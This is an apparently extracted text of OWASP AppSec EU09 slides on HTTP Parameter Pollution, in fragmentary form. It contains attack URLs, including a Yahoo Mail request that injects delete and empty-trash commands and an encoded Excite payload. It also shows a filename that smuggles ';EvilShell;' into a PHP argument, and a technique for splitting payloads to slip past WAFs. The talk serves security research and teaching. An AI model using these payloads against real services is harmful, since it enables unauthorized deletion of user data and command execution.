HTTP Parameter Pollution
HTTP Parameter Pollution
Luca Carettoni
Independent Researcher
[email protected]
Stefano di Paola
OWASP CTO @ Minded Security
[email protected]
EU09 Poland
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
Introduction
Server enumeration
HPP in a nutshell
HPP Categories
Server side attacks
Concept
Real world examples
Client side attacks
Concept
Real world examples
par1=val1&par2=val2c
par=3&par=4
Classification:
Client-side
1. First order HPP or Reflected HPP
2. Second order HPP or Stored HPP
3. Third order HPP or DOM Based HPP
Server-side
1. Standard HPP
2. Second order HPP
Several well-known
encoding techniques may
be used to inject
malicious payloads
The precedence of
GET/POST/Cookie may Apache Tomcat/6.0.18
String amount=request.getParameter("amount");
String beneficiary=request.getParameter("recipient");
HttpRequest("http://backendServer.com/servlet/actions","POST",
"action=transfer&amount="+amount+"&recipient="+beneficiary);
}
http://frontendHost.com/page?amount=1000&recipient=Mat%26action%
3dwithdraw
action=transfer&amount=1000&recipient=Mat&action=withdraw
What would happen with WAFs that do Query String parsing before
applying filters?
HPP can be used even to bypass WAFs ☺
Some loose WAFs may analyze and validate a single parameter
occurrence only (first or last one)
Whenever the devel environment concatenates multiple occurrences
(e.g. ASP, ASP.NET, AXIS IP Cameras, DBMan, …), an aggressor can
split the malicious payload.
http://mySecureApp/db.cgi?par=<Payload_1>&par=<Payload_2>
par=<Payload_1>~~<Payload_2>
http://host/abc
becomes:
http://host/page.php?action=view&page=abc&id=0
http://host/page.php?action=view&page=abc&action=edit&id=0
To obtain
<a href="/page.php?action=view&par=123&action=edit">View Me!</a>
OWASP AppSecEU09 Poland
HPP Client Side attacks 2/2
Features:
Anti XSS using HtmlEntities
DOM HPP and Client Side
HPP compliant! ;)
http://search.excite.it/image/
?q=dog&page=1%26%71%
3d%66%75%63%6b%6f%
66%66%20%66%69%6e%
67%65%72%26%69%74%
65%6d%3d%30
Features
Check antiCSRF
Dispatcher View
Html Entities filtering, antiXSS
HPP compliant!
The dispatcher pattern helps the attacker
%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete
%2526cmd=fmgt.emptytrash
Attack payload: http://it.mc257.mail.yahoo.com/mc/showFolder?
fid=Inbox&order=down&tt=245&pSize=25&sta
rtMid=0%2526cmd=fmgt.emptytrash%26DEL=
1%26DelFID=Inbox%26cmd=fmgt.delete
Crafting a filename as
Confidential.doc&arg1=;EvilShell;...
It is actually possible to tamper the link, leading to code
execution since PHP considers the last occurrence
.../file_content.php?arg1=null&arg2=107533&arg3=Confidentia
l.doc&arg1=;EvilShell;...&arg4=1
Demonstration video of the attack: http://www.vimeo.com/2161045